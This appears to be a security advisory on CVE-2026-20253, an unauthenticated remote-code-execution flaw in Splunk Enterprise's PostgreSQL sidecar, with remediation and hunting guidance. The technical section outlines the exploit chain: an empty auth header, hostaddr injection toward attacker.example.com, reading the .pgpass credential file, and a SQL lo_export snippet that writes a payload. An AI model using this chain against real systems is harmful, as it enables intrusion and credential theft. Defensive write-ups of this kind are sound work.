CVE-2026-20253

What is Splunk Enterprise?

Splunk Enterprise is the leading SIEM (Security Information and Event Management) and log analytics platform, deployed by enterprises and government agencies to ingest, index, and search security telemetry across their entire infrastructure. Because Splunk aggregates logs from every server, network device, and security tool in an organization — and often stores credentials, API keys, and authentication tokens in its data — compromising a Splunk instance gives an attacker a privileged map of the entire environment and a trusted pivot point inside the security operations network. CVE-2026-20253 is the first Splunk vulnerability ever added to CISA's Known Exploited Vulnerabilities catalog.

Overview

CVE-2026-20253 is a missing authentication vulnerability (CWE-306) in the PostgreSQL sidecar service bundled with Splunk Enterprise 10.x. Two recovery endpoints are reachable from the network via Splunk's main web port (8000) with no authentication whatsoever — an empty credential header is accepted. An unauthenticated attacker can chain these endpoints to write arbitrary files to the Splunk server filesystem and achieve remote code execution as the Splunk service account.

The vulnerability was discovered by Alex Hordijk (@hordalex), patched June 10, 2026, and publicly exploited within five days of a detailed technical write-up by watchTowr Labs. CISA issued a 3-day remediation deadline — one of the shortest on record — reflecting the urgency of active exploitation against internet-exposed Splunk instances.

Affected Versions

The PostgreSQL sidecar service was introduced in Splunk Enterprise 10.x and is enabled by default on Linux and AWS deployments. Windows on-premise installs typically do not have the sidecar enabled.

Technical Details

The sidecar service is a Go binary that manages PostgreSQL backup and recovery to support Splunk's Edge Processor, OpAmp, and SPL2 pipeline features. It listens on 127.0.0.1:5435 internally, but Splunk's web application on port 8000 proxies requests to it — making the following endpoints network-reachable by any unauthenticated client:

POST /en-US/splunkd/__raw/v1/postgres/recovery/backup
POST /en-US/splunkd/__raw/v1/postgres/recovery/restore

Both endpoints accept any Authorization header value, including the empty basic auth token Authorization: Basic Og== (base64 of a bare colon : ).

Full pre-auth RCE chain (documented by watchTowr Labs):

1. Connection string injection: The database parameter is passed unsanitized to pg_dump. Injecting hostaddr=attacker.example.com redirects the PostgreSQL client to connect to an attacker-controlled PostgreSQL server.

2. Malicious dump delivery: The attacker's PostgreSQL server returns a crafted dump containing a SQL function that uses PostgreSQL's lo_export() large-object export to write arbitrary bytes to the filesystem:

   CREATE FUNCTION pwn_f(i int) RETURNS bool LANGUAGE plpgsql ...
     l := lo_from_bytea(0, '\x[PAYLOAD]'::bytea);
     PERFORM lo_export(l, '/opt/splunk/etc/apps/.../target.py');
   

3. Credential harvesting: The passfile connection string parameter can be set to /opt/splunk/var/packages/data/postgres/.pgpass, which contains plaintext postgres_admin credentials — used to authenticate the restore operation against the local PostgreSQL cluster.

4. Restore trigger: Calling the /restore endpoint with the injected credentials executes the malicious SQL, writing the attacker's Python payload to a Splunk application script directory.

5. RCE: Splunk periodically executes Python scripts in its application directories (e.g., ssg_enable_modular_input.py in the Splunk Secure Gateway app). The overwritten script executes on the next scheduled run as the splunk service account.

Detection signal: Send a POST to /v1/postgres/recovery/backup with empty credentials — an HTTP 400 response indicates a vulnerable instance; HTTP 401 indicates patched.

Discovery

Alex Hordijk (@hordalex) discovered and reported the vulnerability to Splunk. The patch was released June 10, 2026. Piotr Bazydlo and Yordan Ganchev of watchTowr Labs independently developed the full RCE chain and published a technical write-up with a detection-only proof-of-concept on June 12 — two days after patch release.

Exploitation Context

Active in-the-wild exploitation was confirmed by Splunk and Resecurity by June 18, 2026. No specific threat actor or ransomware group has been publicly attributed as of June 19; exploitation is characterized as opportunistic. Shadowserver tracked approximately 1,400 internet-exposed Splunk management interfaces at time of disclosure — modest absolute numbers but high-value targets given Splunk's privileged position in enterprise security infrastructure.

This is the first Splunk vulnerability ever added to CISA's KEV catalog. The 3-day federal remediation deadline (June 18–21) is one of the shortest ever issued under BOD 26-04, signaling CISA's assessment of both exploitation severity and victim profile (federal agencies).

Remediation

1. Patch immediately: Upgrade to Splunk Enterprise 10.2.4 (for 10.2.x) or 10.0.7 (for 10.0.x). Splunk 10.4.0 and 9.4.x are not affected.
2. Workaround if patching is blocked: Add the following to $SPLUNK_HOME/etc/system/local/server.conf and restart Splunk:

   [postgres]
   disabled = true
   

   Do not apply this workaround if the deployment uses Edge Processor, OpAmp, or SPL2 data pipelines — disabling the sidecar breaks all three features.
3. Network isolation: Restrict Splunk's web port (8000) to trusted internal networks and VPN — Splunk management interfaces should never be internet-facing.
4. Audit access logs: Search for unauthenticated POST requests to /splunkd/__raw/v1/postgres/recovery/ and flag any requests containing hostaddr=, passfile=, or path traversal sequences in the request body.
5. Hunt for compromise: If exposed, check for unexpected files in Splunk app bin/ directories, look for new or modified Python scripts in /opt/splunk/etc/apps/, and review Splunk's internal process logs for unexpected child process execution.